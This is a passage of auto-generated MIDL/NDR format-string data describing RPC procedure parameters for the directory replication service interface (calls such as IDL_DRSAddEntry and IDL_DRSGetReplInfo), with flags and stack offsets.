),\t/* x86 Stack size/offset = 40 */\n/* 858 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSRemoveDsServer */\n\n/* 860 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 866 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 868 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 870 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 872 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 874 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 876 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 878 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 880 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 882 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 884 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 886 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 892 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 894 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 896 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 898 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 900 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 902 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 904 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 906 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 908 */\tNdrFcShort( 0xd72 ),\t/* Type Offset=3442 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 910 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 912 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 914 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 916 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 918 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 920 */\tNdrFcShort( 0xdac ),\t/* Type Offset=3500 */\n\n\t/* Return value */\n\n/* 922 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 924 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 926 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSRemoveDsDomain */\n\n/* 928 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 930 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 934 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 936 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 938 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 940 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 942 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 944 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 946 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 948 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 950 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 952 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 954 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 956 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 958 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 960 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 962 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 964 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 966 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 968 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 970 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 972 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 974 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 976 */\tNdrFcShort( 0xdd0 ),\t/* Type Offset=3536 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 978 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 980 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 982 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 984 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 986 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 988 */\tNdrFcShort( 0xe02 ),\t/* Type Offset=3586 */\n\n\t/* Return value */\n\n/* 990 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 992 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 994 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSDomainControllerInfo */\n\n/* 996 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 998 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1002 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1004 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1006 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1008 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1010 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1012 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1014 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1016 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1018 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1020 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1022 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1024 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1026 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1028 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1030 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1032 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1034 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1036 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1038 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1040 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1042 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1044 */\tNdrFcShort( 0xe26 ),\t/* Type Offset=3622 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1046 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1048 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1050 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1052 */\tNdrFcShort( 0x4113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=16 */\n/* 1054 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1056 */\tNdrFcShort( 0xe5a ),\t/* Type Offset=3674 */\n\n\t/* Return value */\n\n/* 1058 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1060 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1062 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSAddEntry */\n\n/* 1064 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1066 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1070 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1072 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1074 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1076 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1078 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1080 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1082 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1084 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1086 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1088 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1090 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1094 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1096 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1098 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1100 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1102 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1104 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1106 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1108 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1110 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1112 */\tNdrFcShort( 0x1030 ),\t/* Type Offset=4144 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1114 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1116 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1118 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1120 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1122 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1124 */\tNdrFcShort( 0x10a4 ),\t/* Type Offset=4260 */\n\n\t/* Return value */\n\n/* 1126 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1128 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSExecuteKCC */\n\n/* 1132 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1134 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1138 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1140 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1142 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1144 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1146 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1148 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1150 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1152 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1154 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1156 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1158 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1162 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1164 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1166 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1168 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1170 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1172 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1176 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1178 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1180 */\tNdrFcShort( 0x12de ),\t/* Type Offset=4830 */\n\n\t/* Return value */\n\n/* 1182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1184 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSGetReplInfo */\n\n/* 1188 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1196 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1198 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1200 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1202 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1204 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1206 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1208 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1210 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1212 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1214 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1220 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1222 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1224 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1226 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1228 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1232 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1234 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1236 */\tNdrFcShort( 0x130a ),\t/* Type Offset=4874 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1238 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1240 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1244 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1246 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1248 */\tNdrFcShort( 0x136a ),\t/* Type Offset=4970 */\n\n\t/* Return value */\n\n/* 1250 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1252 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSAddSidHistory */\n\n/* 1256 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1258 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1262 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1264 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1266 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1268 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1270 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1272 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1274 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1276 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1278 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1280 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1282 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1286 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1288 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1290 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1292 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1294 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1296 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1298 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1300 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1302 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1304 */\tNdrFcShort( 0x17e8 ),\t/* Type Offset=6120 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1306 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1308 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1312 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1314 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1316 */\tNdrFcShort( 0x1888 ),\t/* Type Offset=6280 */\n\n\t/* Return value */\n\n/* 1318 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1320 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSGetMemberships2 */\n\n/* 1324 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1326 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1330 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1332 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1334 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1336 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1338 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1340 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1342 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1344 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1346 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1348 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1350 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1356 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1358 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1360 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1362 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1364 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1366 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1368 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1370 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1372 */\tNdrFcShort( 0x18ac ),\t/* Type Offset=6316 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1374 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1376 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1378 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1380 */\tNdrFcShort( 0x4113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=16 */\n/* 1382 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1384 */\tNdrFcShort( 0x190a ),\t/* Type Offset=6410 */\n\n\t/* Return value */\n\n/* 1386 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1388 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1390 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReplicaVerifyObjects */\n\n/* 1392 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1394 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1398 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1400 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1402 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1406 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1408 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1410 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1412 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1414 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1416 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1418 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1424 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1426 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1428 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwVersion */\n\n/* 1430 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1432 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgVerify */\n\n/* 1436 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1438 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1440 */\tNdrFcShort( 0x1968 ),\t/* Type Offset=6504 */\n\n\t/* Return value */\n\n/* 1442 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1444 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1446 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSGetObjectExistence */\n\n/* 1448 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1450 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1454 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1456 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1458 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1460 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1462 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1464 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1466 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1468 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1470 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1472 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1474 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1476 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1478 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1480 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1482 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1484 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1486 